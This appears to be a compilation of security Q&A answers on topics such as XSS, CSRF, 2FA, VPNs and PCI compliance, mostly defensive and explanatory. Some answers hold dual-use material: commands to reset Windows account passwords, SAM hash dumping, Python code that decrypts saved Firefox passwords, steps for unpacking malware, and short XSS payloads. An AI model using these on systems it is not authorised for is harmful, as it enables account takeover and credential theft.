Write to selected disk location to overwrite deleted file

It sounds like the point is to discover if anti-forensic techniques leave their own distinctive, forensically-detectable evidence behind.

In that case, you can probably choose to wipe the files with any method you want, regardless of how easy or difficult it is to recognize that wiping was performed, or what language is used to create the wiping routine.  You could overwrite files with all zeros, all ones, alternating ones and zeroes, single or multiple passes, randomly generated bytes, the output of a lorem ipsum generator, or even thousands of random web pages using something like wget https://en.wikipedia.org/wiki/Special:Random.

As you mentioned thesis, you should talk to your advisor to figure out the level of sophistication expected.  He or she might want to see the effectiveness of the wiping tools you created, but he or she may be even more interested in the effectiveness of your "wipe-detector".  The advisor might want to see if your detector is capable of recognizing fingerprints of some of the various publicly available wiping tools, such as sdelete, DBAN, or others.  For example, the OS may record when the tool was run in the application event log; the tool may leave a telltale series of "low disk space" entries in the system event logs; a recognizable pattern of deleted file names in the file allocation table; a sudden reduction in the size of backup files created in the backup logs.  Caught early enough, you might discover a unique disk fragmentation pattern, or if these tools leave specific traces hiding in the swap files.  To me, that's the level of sophistication I'd expect to see from a master's thesis.

Given all of that, it sounds like "Using Python, I want to overwrite" may be a premature statement.  You may want to dig a bit deeper to figure out what you need to accomplish.  And be sure to discuss this with your advisor.


Application design to avoid XSS & CSRF attacks

Ok so technically anything is possible, but there would need to be a lot of very unordinary things in place for this scenario to play out as described. Lets start out with point #1...

1) An email is broadcasted to lots of members of a certain bank website. This is very possible, and is known as a phishing attack. These attacks are common, but in order for them to be as deadly as the scenario you described, there would need to be major flaws in the banking website.

2) A script is executed in the background of the email that checks for open connections to the banking website. This is fairly inaccurate. Starting off, mail XSS vulnerabilities are very rare nowadays (and pretty much always have been). Here is a discussion about XSS in emails, and here is a good read on XSS if you didn't already know what it was. In the rare case that an email service would have a XSS vulnerability in the body of an email, malicious javascript could be executed, but it could not read open tabs and information associated with them (it could open new tabs, but not read if a connection exists).

3) Hacker sends his account number in a POST request. This sort of thing usually takes place when there is a CSRF vulnerability. A CSRF vulnerability allows an external site to make possibly destructive requests to the site. Here is a good read on CSRF. Basically, if the banking website didn't use any CSRF token to verify money being sent, the hacker could phish a member of the bank to click on a link that makes a "send-money" request to the hacker's account. This attack is basically 100% nonexistent in banks today.

4) Common logic and headers / cookies are always manipulated with front end code. This would be incorrect because although cookies can be edited on the front end, they are also commonly created and read on a server. Here is a good read on cookies and here is a good read on headers.

Considering the last part you wrote about the answers, to my knowledge, a hacker can't latch onto a user's mouse movement without actually breaching the computer, which is very difficult and uncommon. Hope you found this useful!


How to disable conntrack protocol parsing in the linux kernel?

You can disable the module.

modprobe nf_conntrack nf_conntrack_helper=0

More info about securing helpers without disabling the module entirely can be found here https://home.regit.org/netfilter-en/secure-use-of-helpers/


Can I file download server specify what logo the file will have on the user's computer?

A icon / logo is not a security control and applications can specify any icon they wish attached to an exe and ini files on a desktop for windows.


How to evaluate the overall safety of a web offering?

What factors can one use when evaluating safety of web offerings? Is there an easy way to trace an application back to a trusted company?

This is an opinion-based question, but I still apologise for giving a very non-objective answer.

How would you answer your own question for a different service altogether - say, a house renovation firm, or a car? Most of the issues would not be too different.

I can think of some parameters, most of which are off topics on SE:

brand strength: quantity has a quality all of its own. And large firms and established brands have more budget and much more to lose if they screw up. So by and large, you want someone that's too big to fail you. Yes, it's true that to a big firm, a lone, even mightily pissed customer is a negligible nuisance that will be ignored - but the truth is, as an individual you would be a minor nuisance to everybody except very, very small start-ups. Demoting yourself from "minor" to "negligible" purchases the advantage of a larger entity that won't ignore larger issues.
brand "sincerity": a service calling itself "Googgle" or "Googlle" is likely up to no good, or at the very least has serious marketing issues. Which probably translates in a too-cavalier attitude towards mostly everything, including security and privacy. Thus, I agree that the similarities you lament between different services are to be considered suspicious (or may indicate a large use of standard free tools to develop a web site, which may in turn indicate a small-scale operation thrown together "to see how it goes").
reputation among customers: this is relatively easy in real life, especially in a small town where everybody knows everybody else. That's the key - knowing. On the Internet you need to surf to find people's opinions of something. I usually employ the following rule of thumb:

no opinions: this service or product is mostly unknown. Handle with care.
lots of bad opinions, few good opinions: probably a bad choice, even if I'll want to read several of those opinions to understand the timeframe/version/context they're referring to. In your case you might have lots of people fuming furious, and vocally so, at not being able to upload selfies from FooPhone 1.2x, or some other feature you don't value a whit. Those opinions you would discard.
some good opinions, no bad opinions whatsoever: I'd be somewhat suspicious. Several firms and services have been known to try, and succeed, in removing bad reviews - instead of the reasons thereof.
good opinions with similar wording, grammar constructs (and errors), or structure: another very bad sign of someone who bought good reviews wholesale. If overwhelmed by "normal" good opinions, it could be an error in judgment, long since amended. If most good opinions are astroturfed, keep the hell away.

product/service quality: this, only you can evaluate.

other similar services/products out there?
what differences? Are they important?

technical telltales:

is the site properly protected?
does it employ some kind of third-party review?
if you register and e.g. fake losing your password, what do you get?

an email with your old password in the clear: I'd take Gandalf's advice.
an email with a "reset your pass" link valid for a few hours only: good.
if you also fake losing the email (e.g. you revoked the email service and forgot it was linked to the site), does pressing the case with the service support solve the problem? If yes: BAD sign. If they require proof of identity through secure means: good. If they don't attempt a solution: middling-bad case.

other information

the contact page, when available, can tell something about the firm's whereabouts.
domain tools such as WHOIS and DNS lookups can tell you the owner of the domain, the location of the web server(s), the location of the web server(s); then you can investigate other customers of the same domain service and server hosting. Anonymous or "protected" domains aren't very conducive to trust, and low-cost, "no question asked" servers, maybe hosted in rogue States, are obviously a very bad sign.
the same tools can tell you when a domain was first established.
tools such as the Web Archive and the Wayback Machine can probably be used to see how the domain evolved; whether it moved from selling used cars to selling dental surgery advice; all of which is valuable information.


If you outsource all cardholder data to a third party and you require compliance yourself, then the applicable requirements for SAQ A are applicable to you. While the PCI DSS consists of a large number of requirements (i.e. SAQ D), the vast majority of these will not be applicable to you if you do not handle cardholder data. Depending on volumes you may not qualify to complete a SAQ. In this case you'd have a complete Executive Summary in a ROC (Report on Compliance) and only those requirements applicable to you would be validated.

If you wish to transmit, process or store cardholder data, many of the requirements of the standard will be applicable for validation and the cost and time of compliance is increased though, ultimately, it may give you greater freedom (and expose you to greater risk).

If your clients handle cardholder data, they need to be compliant. If they outsource this to you, you need to demonstrate to them you are compliant. You, of course, can further transfer this to another compliant third party. e.g. merchant A can use service provider B who uses service provider C to handle merchant A's cardholder data. In this case, the merchant and both service providers need to be compliant though only a single entity, service provider C, handles cardholder data.


Content-Security-Policy & Facebook login

No, you can't use the Facebook SDK without 'unsafe-eval' if the Facebook SDK requires it, sadly. This is one of the problems with CSP. Until Facebook remove the requirement, you have to allow it.

You mention that your app may be a single-page app, but if it wasn't, you could issue the 'unsafe-eval' expression on that particular page only to improve the situation, rather than site-wide.


Two Factor Authentication Multiple Devices

There's no back-end complexity issue with multiple 2FA devices. The issue is the trade-off between security and convenience, which is the age-old problem of authentication systems.

The "two factors" in two factor authentication are a thing you know (your memorized secret, or password) and a thing you have (your 2FA device, security key, etc). If you allow the thing you have to be many things, it significantly increases the chances of the thing that you are supposed to have is in the hands of someone else, which eliminates the advantage of having a second factor at all. Especially since the only reason you would ever need more than one device is if your primary 2FA device isn't where you are.

If your second factor device is a device with biometric capability (in other words, the fingerprint scanner on your phone), then your 2FA software of choice might use that to introduce a third authentication factor, a thing you are (your fingerprint, iris, voice or any other biometric measurement can be considered a thing you are authentication factor), which allows more confidence that the thing you have is truly only authenticating you, even if it's in an attackers hands. But either way, you're extending trust and risk beyond the minimum that's required to be most secure.

Of course, your threat model might mean that you judge the risk from having many devices able to authenticate you, potentially all in different places with different people able to physically access the something you are supposed to have, as an unimportant risk. As other comments have pointed out, many 2FA solutions will allow multiple devices. Use your own judgement as to whether the trade-off is acceptable for you.


What to do when a connection to a government website for submitting personally identifiable data is not encrypted?

Simply use the https version of this site which you can do by simply replacing the http:// in the URL with https://. It works and the site has also a valid certificate. And I don't know how you got to this site but if I search in google for 'Online NRI Passport Application' I actually get the https site as first result.


Does the Ophcrack LiveCD require hash collection via programs like pwdump?

Typically if you don’t have a user with admin rights you need to escalate privileges (i.e. exploit a vulnerability), then fire up the pw dump tools.
copied from Ophcrack wiki verbatim:

"You can either enter the hash manually (Single hash option), import a text file containing hashes you created with pwdump, fgdump or similar third party tools (PWDUMP file option), extract the hashes from the SYSTEM and SAM files (Encrypted SAM option), dump the SAM from the computer ophcrack is running on (Local SAM option) or dump the SAM from a remote computer (Remote SAM option).
For the Encrypted SAM option, the SAM is located under the Windows system32/config directory and can only be accessed for a Windows partition that is NOT running. For the Local SAM and Remote SAM options, you MUST logged in with the administrator rights on the computer you want to dump the SAM."


What is the minimal security standard needed for this type of software product

What is the minimal security standard that the product needs to
  meet?

This largely depends on procurement requirements you are trying to meet. For US federal government the bare minimum to get on the list is FIPS 140-2 certification of your cryptographic module. For DoD there is JITC certification. For NSA and such you have NIAP and Common Criteria. However, I don't think you are trying to do any of this.

Instead, I think you are trying to establish a benchmark for a bare minimum effort to secure your product. To do this, I suggest you should regularly patch every third-party library you use (e.g. OpenSSL), then run a vulnerability scanner, like Nessus, and follow up with a static code analysis tool, like Coverity, applicable to your language. This approach will get you to 'minimal security' if you integrate it into your QA process.


If we are behind a firewall, do we still need to patch/fix vulnerabilities?

Your statement makes two faulty assumptions:

Your firewall(s) is/are fully correctly configured and has no vulnerabilities that would allow an attacker to compromise it and that perfect state will continue.
Everyone in your organisation is trustworthy and presents no risk.

You should always operate on a defence in depth approach and secure every layer wherever you can. If an attacker does penetrate a perimeter, or you do have a rogue actor, then this Apache vulnerability could be exploited if unpatched.


Multi-factor Out of Band Token authentication options suitable as per NIST recommendations 800-63B (published in June, 2017)

SMS as a second factor is no longer considered secure due to the ease of spoofing and interception of SMS.

For the most secure MFA, you should be using a device that is separate from any service you are accessing. This is increasingly challenging in a world where people are using phones for everything!

Until recently, many government security agencies would not allow you to use software tokens of any kind which also ruled out any app on a phone. Significant improvements in smartphone security (for some platforms at least) have seen recent changes in that stance and authenticator apps are now commonly used.

Other out-of-band one-time authenticators are also used including email and phone. Of course, each have their own issues and to my mind, the authenticator app remains the best option because at least it tends to be more obvious if the device is lost or stolen.

The one caveat that I would add though is for Android devices. Android should not be considered a secure device without careful choice of the hardware and the addition of security tools to harden the OS.


Can Honey Encryption be used for CAN bus security?

Your question doesn't really make sense.

First of all, CAN bus is typically used for M2M-communication, where you will know what data will be present by looking at which devices are attached. Furthermore, CAN bus is a transport bus. You can transport whatever data you want, but the devices has to support whatever encryption you choose. Embedded devices do typically not support different choices of encryption, if they support encryption at all.

And second, no. AES is not vulnerable to brute force. A brute force is considered infeasible due to the vast key space.


The last position that I heard from WhatsApp is that they won't be offering a public API.

http://www.programmableweb.com/news/whatsapp-will-not-release-public-api/2015/03/30

Until they do, that's a huge sticking point. Unless of course they open sourced their own client...


DNSCrypt-proxy: This certificate looks valid

It is valid.

See this change in the developement tree.

That said, your configuration should be simplified. When using a predefined resolver, all you need is the resolver name:

DNSCRYPT_PROXY_RESOLVER_NAME=dnscrypt.eu-dk

It doesn't make any sense to provide the name of a predefined resolver and then manually override everything. Worse, it will break if the certificate parameters change.

Just remove DNSCRYPT_PROXY_PROVIDER_KEY, DNSCRYPT_PROXY_PROVIDER_NAME and
DNSCRYPT_PROXY_RESOLVER_ADDRESS. These are only useful when you are running your own DNSCrypt server.


Digitally signed scripts as a way to thwart XSS

This would be a real hit to performance. Imagine you have a ton of embedded functions within your HTML page. Each would need to be signed seperately. Furthermore your server side code needs to be able to access your keystore to sign the code as often pages are generated dynamically. This would mean a substantial overhead to be dealt with.

Also note that JavaScript executing user input, which contains JavaScript will be hard to handle.

For instance let's say you have XSS on a user parameter which is embedded back into the page by a JavaScript function, your server will actually sign it before sending as it will not know that that part of the code isn't legitimate... and then we are back at the old problem of input/output validation.

Anyway most of this can be fixed with CSP anyway.


Risk in adding shared mail server to my SPF like sendinblue/sendgrid for mail reputation?

The IP that the email service uses would be blacklisted, not the domain. This affects the service more than your company, which is why they tend to have very strict controls and procedures.

It does mean, though, that if you depend on that service, then you will be impacted by your emails not getting out if sent through that service.


MaxAuthTries
Specifies the maximum number of authentication attempts permitted per connection. Once the number of failures reaches half this value, additional failures are logged. The default is 6.

Man page
Setting the value to 1 will mean that your server will only allow 1 login attempt before locking you out.


What to do when a Linux account gets owned?

Assuming the root account has not been compromised (and this is not a good assumption -- the attacker may have used a privilege escalation attack without leaving traces), you can trust the log files and the system utilities.  In this case, I'd dump the program memory for analysis (eg. by triggering a core dump), archive the user's files and the temporary directories, and then wipe the user's account and files and restore from backup.

The technical details are better suited for a site such as Unix SE.


How to bypass password on Windows XP account?

You can boot in safe mode an then try to reset the password.

Once you enter in safe mode you can go to Control Panel > User Account > Change Account.
Or in a command line window and type the

net user [account name] [new password]

e.g:

net user administrator password

If that's not possible, you can use a Linux live CD and boot with it. Mount the windows drive and use the chntpw to change the password.

sudo chntpw -u "USER NAME" SAM


What statistics can be used to identify pseudorandom data?

During the AES competition, the organizing body (the NIST) went to the trouble of running extensive statistical testings on the output of the 15 submitted block ciphers, with what was believed to be the gold standard of such tests, the Diehard tests. They found nothing, of course. Comments from cryptographers at that time were that these tests were a bit ridiculous in the context of cryptographic algorithms (unofficial comments, of course: it would be discourteous to embarrass the host of the event); it was good for Public Relations that someone runs them, but nothing worth noting was expected from it.

This illustrates the difference between statistical randomness, as is needed for instance to power big simulations of physical systems, and unpredictability, which is required for security. Consider for instance the following PRNG:

Set a counter to a 128-bit seed.
To produce the next 128 bits of the PRNG, increment the counter by 1, then encrypt that value with AES and an all-zero key, yielding the 128 bits.

This PRNG will successfully pass all the tests of the Diehard suite; it is statistically "perfect" as far as the tests are concerned (departure from pure alea might be detectable after generating about 271 bits, i.e. more than 200 millions of terabytes). However, for security, it is terrible, since it is trivial to predict future output once 128 bits of output have been observed (decrypt these 128 bits with AES and an all-zero key: this will give you the current counter value).

Summary: a cryptographically secure PRNG produces output which is indistinguishable from randomness; not only with statistical tests, but also by someone who knows exactly the specific PRNG algorithm which was potentially used. If you have a statistical tool which can show that a given sequence of bytes comes from a PRNG, then you have proven not only that the PRNG is not cryptographically secure, but also that it is awfully bad at it. Even Dave's hash is "random" from the point of view of Diehard tests.

In shorter words, your tool won't catch randomness which was generated with some expertise, but it won't catch most non-randomness from complete amateurs either. With such tools, you are not targeting "non-cryptographers who should know better than to use homemade schemes", but rather "chimpanzees who should not be allowed to touch a keyboard".

Note: good steganography tools encrypt data before stuffing it into the transport medium, precisely to avoid detection from statistical tool. Encryption also should yield bits indistinguishable from randomness.


I wouldn't say there is anything wrong with your approach. Security people are just really into always using the accepted methodology. Take CSRF mitigation for example. There's a bunch of ways that successfully mitigate CSRF but security folks always recommend using a CSRF token because that's the accepted standard for mitigating CSRF attacks. I think the main benefit for separating the transaction into two steps is that the transaction is easier to reason about because each step of the transaction has a specific goal. Yours combines some steps but I don't see any reason why that is necessarily bad, just a little more complicated.


You can imagine a VPN as an encrypted tunnel to some endpoint:

 you -- encrypted(secret1) --> VPN-endpoint --- not encrypted -> target

This means the VPN endpoint can see the unencrypted traffic and even modify it.

If you add another VPN to the mix and tunnel through the first VPN to the second VPN you get this:

 you -- encrypted(secret1,encrypted(secret2)) --> VPN1
     -- encrypted(secret2)                    --> VPN2
     -- not encrypted                         --> target

This is, the final VPN endpoint (VPN2) can again see and modify the traffic, but not the first VPN endpoint (VPN1). This one can only see that you have some connection to VPN2. And VPN2 can only see that you  connect from VPN1 although  depending on the VPN protocol it might identify you based on your authentication credentials. A typical example of such "onion network" is the TOR network: the nodes in the middle cannot see the unencrypted traffic but the exit node can.


Does allowing everyone know when a server process was started pose a security risk?

Beyond the general "don't tell anybody anything" advice, which is entirely true, there are a couple interesting things about process start time from an attacker's point of view.

if you manage to crash a process, its start time will be reset. You could use that info to figure out which other attacks were working.
some systems have had vulnerabilities where they use the process start time as a seed for crypto random number generation - Netscape had a bug like that a long time back. If you knew a system did that, the process start time would be extremely useful.


How to stop a request for an external image from exposing my IP to the server hosting the image?

HTTP is Hyper Text Transfer Protocol. Hyper text stands for the ability to aggregate informations from different sources. If you advertise an URL in a web page, the browser will use that URL to fetch the information piece. This is inherent to the protocol. Full stop here.

But, you can advertive a local URL for a distant resource. That is called reverse proxying. Any good http server should have options for that. In Apache, mod_proxy contains all you could need with the ProxyPass directive:

You can then use:

<img src=/domainD/testT.jpg>

and in Apache config:

<Location "/domainD/">
    ProxyPass "https://www.domainD.com/"
</Location>

Here, the browser will send the request to your own server, because it only sees your local URL, and that server will send a request for the actual resource and send it back to the client browser, hiding the original client IP.


Connected cars: Skills needed for a security specialist

Virtually all new connected cars have IT security issues. First of all, when we talk about connected cars, we refer to wireless connection. So having a good knowledge of how 802.1 protocol list  and  technologies such as LAN function is a must.

Also there is a wide range of software that connected cars may use, including operating systems such as Microsoft Windows and all sorts of software that  covers both proprietary and open source software which thing involves million lines of code leading to eventual vulnerabilities such as this  exploit of  Progressive’s Snapshot driver tracking tool in order to hack into the onboard networks of certain automobiles.  The hacking possibilities go even further to take control of the brakes of the car. So you can guess that a good knowledge of embedded softaware even from the programming point of view is a must.

Conclusion:

Having a good knowledge of WiFi technologies and the embedded software as well as programming are surely required skills. Last but not the least, you need a basic understanding of a car's electronic and mechanical engineering.

Source of the image.


It depends on your contact with the ISP. Most ISPs just connect you to the internet and deliver any traffic addressed to you, including DoS/DDoS traffic. There are multiple ways to protect yourself against attacks, and some ISPs provide some features for you (like black holing some traffic) so you can protect yourself.

Additional DDoS protection services usually have to be bought and implemented separately, from your ISP or from a specialised DDoS protection service.


I'm afraid you'll have a hard time getting someone to directly post a link to a functional binary of malicious code here.

Fortinet's blog has a good explanantion of how to unpack whatever version of conficker you have.
Fortinet: unpacking conficker

This technique, with some modifications, will work well for most single-stage custom packers:

Run the binary under a debugger on an isolated machine
Set breakpoints on anti-debugging branches
Modify the registers so the code will run as if unobserved
Let the binary unpack itself and dump memory
Rebuild an executable from the de-obfuscated shellcode


Session management: Are the features of application server enough?

No.  It is not enough to just use the application framework's session management features and do nothing more.  It is definitely a good idea to use the application framework's session management (do not roll your own session management) -- but you will need to take some additional steps as well.

The exact division of responsibility between the developer and the session management layer will depend upon the particular session management layer, but here are some issues that are typically the responsibility of the developer and are not handled by the session management layer:

You must implement or enable CSRF defense (CSRF tokens).  Normally the session management layer will not do this for you.
If you want to use https, you should set the secure attribute on all cookies.  If you are using https sitewide, it is your responsibility to enable HSTS.
You should configure the session management layer so it will not accept session ID's in a GET parameter.  This is important, to avoid session fixation vulnerabilities.
You will likely need to tell the system to generate a new CSRF token immediately after logging in, to defend against login CSRF.
If you want to use the HTTPOnly cookie attribute, it is your responsibility to set it.  It is debateable whether this cookie attribute provides any measurable increase in security against a sophisticated attacker, but some people recommend it as a "can't hurt" security practice.

I recommend reading the resources that OWASP makes available.  This will help you understand what you need to do to secure your web application.


Is there a passive way to verify DKIM implementations (on DNS level) without triggering an actual email event?

No. Obtaining the public key from DNS gives you only half of the picture. You also need a signature to verify against the public key, and that signature is only going to appear in an actual email. Without a signature you have no idea if the policy domain's MTA is configured to even sign outgoing mail at all, or with the right key, or with the right selector, and so on.


What information can my network admin see when I visit a website?

Whether he can see the traffic depends on the encryption. If you visit webpages delivered by http, he is able to monitor everything. If you use https, the traffic is encrypted. In a company it's still possible to decrypt the traffic if the admin installed a fake CA whose private key he owns. There are various tools that implement such a proxy functionality like Squid or MITMproxy if you just want to try it on your own. You can detect this by comparing the OS/Browser CA list with the one delivered by the OS/Browser vendor.

Even if you use https and the admin isn't able to decrypt the traffic, he is still able to find out which domains you connected to because you are using the company owned DNS server.

You can use TOR to hide both but there are some downsides. The usage of TOR can be detected by the network administrator and this makes you or at least your PC suspicious because TOR is often used by malware.

You can use a VPN which is also detectable but not as suspicious as using TOR.

The best solution for your problem might be using your personal PC/Laptop at home.


On public WiFi, how does a VPN/tunnel protect me more than secure protocols?

The redundancy issue isn't that big a deal in most cases. In any case, TLS requires careful configuration to be secure and this isn't always the case so using a VPN as well rarely hurts.

The captive portal issue though is, indeed, an ongoing problem. The best solution is to use a configuration that ONLY allows traffic from the VPN client to reach the Internet directly, everything else is forced to wait for the VPN to be active. There are various ways to do that but few clients implement them or at least implement them in a way that provides clear security. The CISCO client is one.

To mitigate the impact, you can configure the OS to only allow traffic to exit via the VPN which often uses a virtual network. You can also make sure that as much software as possible is completely closed before connecting to an untrusted Wi-Fi connection.


Browsers will use the highest supported protocol negotiated between it and the server, even if SSLv3 is enabled.

Newer browsers have SSL disabled, so will not be vulnerable to downgrade attacks.

Also see here TLS/SSL support history of web browsers.


You could try to put the file on a filesystem which is mounted as read-only. That would at least thwart any attack which uses the normal attack path via file access over the operating system. However, when the malware doesn't use the normal filesystem and does instead attack the raw hard drive devices, this will not help you.

The best way to restore a file which was destroyed by a malware attack is to restore it from an off-machine backup. When you have any valuable data, you should really have a proper backup and recovery strategy.


Typically certificates are validated by checking the signature hierarchy; MyCert is signed by IntermediateCert which is signed by RootCert, and RootCert is listed in my computer's "certificates to trust" store.

Certificate Pinning was where you ignore that whole thing, and say trust this certificate only or perhaps trust only certificates signed by this certificate, ignoring all the other root CAs that could otherwise be trust anchors. It was frequently also known as Key Pinning, since it was actually the public key hash that got saved.

But in practice, Key Pinning turned out to cause more problems than it solved. It was frequently misconfigured by site owners, plus in the event of a site compromise, attackers could maliciously pin a cert that the site owner didn't control. Key Pinning was deprecated in 2017, and was removed entirely from Chrome and Firefox in Nov. 2019. It was never supported to begin with by IE and Safari.

The recommended replacement is to use the Expect-CT header to tell browsers to require that the cert show up in Certificate Transparency logs.


DoS attack blocks website while in another connections show website run normally

You wrote that you attacked a hosting provider. The first thing you lean in ethical hacking is that you should not attack systems without the consent of the owner and of the service provider. This includes not (D)DoSing Internet hosting providers.
Anyway, the most likely explanation in your case is that the hosting provider answers your attempted DoS with a static page, which for him requires almost as much effort as blacklisting you at network level.


Command line tools to decrypt my Firefox 45.7.0 passwords using key3.db and logins.json?

EDIT:  I realized after the fact there is a nice infographic in the git repo I reference in this post which should help if you follow along: https://github.com/lclevy/firepwd/blob/master/mozilla_pbe.pdf

I am going to rewrite this answer as I understand this process a bit better now.  This is my attempt at an English synthesis of the information contained in https://connect.ed-diamond.com/MISC/MISC-069/Protection-des-mots-de-passe-par-Firefox-et-Thunderbird-analyse-par-la-pratique (English translation).  Even though my answer here is pretty long, that document explains much more than my summary here.

Basically, this database contains two tables (I am going to explain this from the perspective of the key4.db sqlite DB, the key3.db contains the same data, but of course is stored in the bsddb185 format.  Refer to the readBsddb() method in https://github.com/lclevy/firepwd/blob/master/firepwd.py for the intricacies of actually reading this DB.  I think since this method exists, what's important is understanding the data that's actually in it rather than the mechanics of reading this old database).

One of the many pieces of this puzzle that had me confused was that, while I knew 3DES+CBC was the encryption algorithm used to store this data, I did not realize there were three separate 3DES+CBC strings to understand.

Once the data from the database has been extracted from either the key3.db BDB or the key4.db sqlite3 DB, the data we need is spread across two tables, the metadata table and the nssPrivate table.

The value we need from the metadata table is the encryption key for the actual private key used to decrypt the data in logins.json, known as the global-salt.  This can be extracted with "SELECT item1 FROM metadata WHERE id = 'password';".  The item2 column is actually just the string "password-check" that is encrypted with this global salt along with an IV packed along with it.  For our purposes this should be unnecessary unless we want to test our master-password.

The next value is contained in the nssPrivate table.  There's quite a bit of other data stored here, but the important column for our purpose is the a11 column (note those are ones and not Ls), extracted with "SELECT a11 FROM nssPrivate".

This column contains an ASN.1DER object that contains a few different values, but important to us are the encrypted private key, and the IV used to generate that private key (needed for the CBC part of 3DES). There is a lot going on in the ASN.1DER object, but using the pyasn1 library we can extract the values that we need.  Once we've extracted all of those values, we simply need to pass them to the 3DES decryption method.  All those steps together should look like this:

import sqlite3
from pyasn1.codec.der import decoder

conn = sqlite3.connect(key4.db)
c = conn.cursor()
c.execute("select item1 from metadata where id = password;")
row = c.next()
globalSalt = row[0]
c.execute("select a11 from nssPrivate")
row = c.next()
item2 = row[0]
decodedItem2 = decoder.decode(item2)
entrySalt = decodedItem2[0][0][1][0].asOctets()
cipherT = decodedItem2[0][1].asOctets()

BUT WAIT, THERE'S MORE

Before we can decrypt the value stored in cipherT, we have another set of arcane hashing functions we need to perform before we get our private key.  This will contain SHA-1 hashing the global salt together with the master password, then padding the entry salt with null bytes until it is 20 bytes long, SHA-1 hashing that with the value we just generated, then three more arcane hmac hashes.  Once we've completed that set of arcane hashes on the global salt and the entry salt, we can split the value we receive - the first 8 bytes are the IV and the last 24 are the key needed to decrypted the value stored in cipherT.  Put that all together, and you get this:

import hmac
from hashlib import sha1
from Crypto.Cipher import DES3

hp = sha1( globalSalt+masterPassword ).digest()
pes = entrySalt + '\x00'*(20-len(entrySalt))
chp = sha1( hp+entrySalt ).digest()
k1 = hmac.new(chp, pes+entrySalt, sha1).digest()
tk = hmac.new(chp, pes, sha1).digest()
k2 = hmac.new(chp, tk+entrySalt, sha1).digest()
k = k1+k2
iv = k[-8:]
key = k[:24]
privateKey = DES3.new( key, DES3.MODE_CBC, iv).decrypt(cipherT)

Now that we have our private key, we need to do this whole process over again with the value stored in logins.json.  The encryptedPassword and encryptedLogin fields are actually another ASN.1DER object encoded in base64 containing the actual encrypted password, the IV, as well as some other data not important to our particular use case.  We can use the same pyasn1.codec.der.decoder.decode() function we used previously on the base64 decoded data.  Once we get the encrypted password and the IV from that function, we can plug those values into the 3DES decrypt we used before to get our password:

encryptedPassword = "MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECIb8AxZg6uueBAi0G6tJ10aBhQ=="
asn1data = decoder.decode(b64decode(encryptedPassword))
iv = asn1data[0][1][1].asOctets()
cipherText = asn1data[0][2].asOctets()
#use privateKey from the codeblock immediately preceding this one
cleartext = DES3.new(privateKey, DES3.MODE_CBC, iv).decrypt(cipherText)

print(cleartext)
>>> 12345

Wow! That's the same combination I have on my luggage!

This is definitely a much more long and involved process than I originally expected, and finding this information was pretty darn difficult, so I hope that even though I may not have explained it all that well, that this may help anyone trying to answer this question in the future (the reason I wasn't really able to use https://github.com/lclevy/firepwd/blob/master/firepwd.py as is was because I'm actually working on doing the reverse - I have a TON (in the thousands) of PCs with thunderbird whose passwords I would like to change automatically which required that I do the reverse, which took about 3 workdays to figure out).  Though my use-case will admittedly be pretty rare, so possibly this may only be of academic interest in the future.

Oh, and someone please change the combination on my luggage


ClamAV Flagging application .swf files as malware

In some cases, antivirus scanners can have false positives based on a similar appearance of some of the code in the files you are scanning.  You can rule out a false positive by scanning the files with another antivirus utility. For example, a trial version of ESET's NOD32.  Please try scanning with another AV solution and let us know the results.


How do random attackers discover websites to target?

Assume every malicious person already has the URL of your website. Actually, to be thorough, assume they have every URL on your website. Having a "hidden" "private" website is no more an actual security measure than having "hidden" directories. To assume otherwise is folly.


Does Two Factor Authentication (2FA) prevent Phishing and/or Man-in-the-Middle (MITM) attacks?

It depends on the second factor. Most old-school ones (SMS, Google Authenticator, Email code) will not help.
In the case of U2F security keys, the protocol involves a challenge/response and a key pair. The website knows the public key and the security key knows how to generate the private key.
The private key is generated on the fly by the security key using a combination of its own secret (baked into the key) and some parameters. One of the parameters is the origin (in this case, the URI of the website issuing the challenge).
When I first register my key with www.mybank.com (my fancy bank that actually knows what security keys are. ha!) it generated a key pair derived from {private_security_key_data, www.mybank.com, <other parameters>} and gave the public key to the bank.
When I try to sign in later, my security key can solve the challenge because the key pair is generated from the same parameters. However, if I click on a phishing link (eg: www.myfakebank.com) the challenge cannot be completed since the generated key pair will be completely different.
The question now becomes: where does the URI come from? This is provided by the browser's U2F support. In turn, the browser verifies the URI through the standard certificates.
You can find details on this (and a lot more other security features) on Yubikey's overview of U2F.


What is the shortest malicious XSS possible?

Depends on the context.

A very short one:

Context:

    <script src="%XSS%"></script>

Let's say you are the owner/maintainer/administrator of http://.to (Tonga gTLD).

    <script src="//to"></script>

XSS with 4 chars. Probably one of the shortest possible.

There are dozens of other contexts.

Edit:
Tested on Chrome 38.0.2125.122 (Mac OS X 10.8.5)


Any eventhandlers that apply to hidden elements?

This vulnerability is exploitable in Firefox via onaccesskey in combination with onclick:

accesskey="X" onclick="alert(1)">


From the releases page:

  None of these are safe to use, except the latest in the 5.4 series,
  which is actively maintained.

From the changelog, it looks like 5.3.3 contained some minor security fixes and other maintenance updates. But unless you have a strong reason not to upgrade, it is probably best to follow their recommendation to use the latest version.


Good Default TCP Connection Timeout Time

This fully depends on the kind of applications you are running. If this is only simple web traffic then a timeout of a minute should already be sufficient. But, if you have long living TCP connections which can be idle for a long time and where the peers don't use TCP keep alive or similar to keep the connection open then even 10 minutes will be to short. Typical applications like this might be telnet or SSH sessions but also IMAP connections which expect the server to notify the client if new mails arrive can be idle for a long time.

Thus, know your network, know what kind of applications are in use and how they behave in the network and only then you can decide what an appropriate timeout will be. And unless your firewall exposes only basic functionality you could also have different timeouts based on the target port of the TCP connection and maybe dynamic adjustments of timeouts based on the number of currently tracked states, i.e. shorter timeouts when more states are open to keep the memory usage down.


Why is a scrypt hash different each time?

If you don't specify a salt, one is randomly generated. The salt is different each time, so the hash will also be different.

  salt (str) – Optional salt string. If specified, the length must be between 0-1024 bytes. If not specified, one will be auto-generated (this is recommended).

source


Can an attacker get information off the card?
Yes, at least some can, and the UK consumer group Which? mentioned in the question did it:

Our researchers tested 10 cards (six debit and four credit, from volunteers) to assess security risks.
Contactless cards are coded to 'mask' personal data, but using an easily obtainable reader and free software to decode data, we were able to read the card number and expiry date from all 10 cards.
We were also able to read limited details of the last 10 transactions, although no cards revealed the CVV security code (the number on the back).

Can the info be used to buy stuff?
While most online shops will not let you pay without the CVV, some do. So while the fraudsters might have limited shopping to choose from, they can still spend your money:

We ordered two items - one a £3,000 TV - from a mainstream online shop using 'stolen' card details, combined with a false name and address. We've alerted the store involved.

Your card could also be copied and used for other contactless transactions. Which? estimates that limits on those would limit the theft to £45 - £100.
